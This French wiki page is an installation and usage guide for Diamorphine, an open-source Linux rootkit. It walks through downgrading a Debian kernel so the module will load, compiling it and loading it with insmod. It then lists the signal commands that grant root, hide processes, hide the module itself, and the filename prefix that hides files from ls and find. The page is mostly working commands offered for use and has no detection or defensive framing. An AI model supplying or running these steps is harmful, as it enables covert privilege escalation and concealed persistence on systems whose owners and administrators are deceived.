[Linux] Diamorphine

Introduction

Diamorphine est un rootkit Linux open source qui possède plusieurs fonctions :

- Masquer des processus
- Masquer des fichiers
- Backdoor utilisateur root



Diamorphine

Github

- https://github.com/m0nad/Diamorphine/tree/master

Installation

Sur Debian 13, les derniers noyaux sont protégés, il est recommandé de downgrade vers une version 5.10.

Pour cela, il faut ajouter les dépôts de Debian 11 dans vos sources pour bénéficier de la bonne version du noyau :

```
echo "deb http://archive.debian.org/debian/ bullseye main" > /etc/apt/sources.list.d/bullseye-archive.list
```

Rafraîchir la liste des dépôts et installez le noyau et les headers :

```
apt update && apt install -y linux-image-amd64/bullseye linux-headers-amd64/bullseye
```

On installe les paquets pour la compilation et Git :

```
apt install -y build-essential git
```

Vous pouvez ensuite cloner le dépôt de Diamorphine et compiler le module du rootkit :

```
git clone https://github.com/m0nad/Diamorphine/tree/master && cd Diamorphine && make
```

Vous devriez obtenir un fichier **diamorphine.ko** que vous pouvez désormais charger :

```
insmod diamorphine.ko
```

GiveRoot rights

Pour donner les droits root à votre utilisateur classique :

```
kill -64 0
```

Hide / unhide process

```
kill -31 $(pidof nano)
```

> Ici, le processus lié à nano va devenir complètement invisible même avec la commande **ps**.

Hide file

```
mv myfile diamorphine_secret_myfile
```

> Le fichier va devenir invisible même avec la commande**ls** ou **find**.

Unhide / Hide diamorphine module

```
kill -63 0
```

Désinstaller le module du rootkit

```
rmmod diamorphine
```

> Ne fonctionne qu'après avoir effectué la commande précédente pour afficher le module diamorphine.

Revision #1
Created 2025-12-30 12:40:48 UTC by Elieroc
Updated 2025-12-30 13:16:09 UTC by Elieroc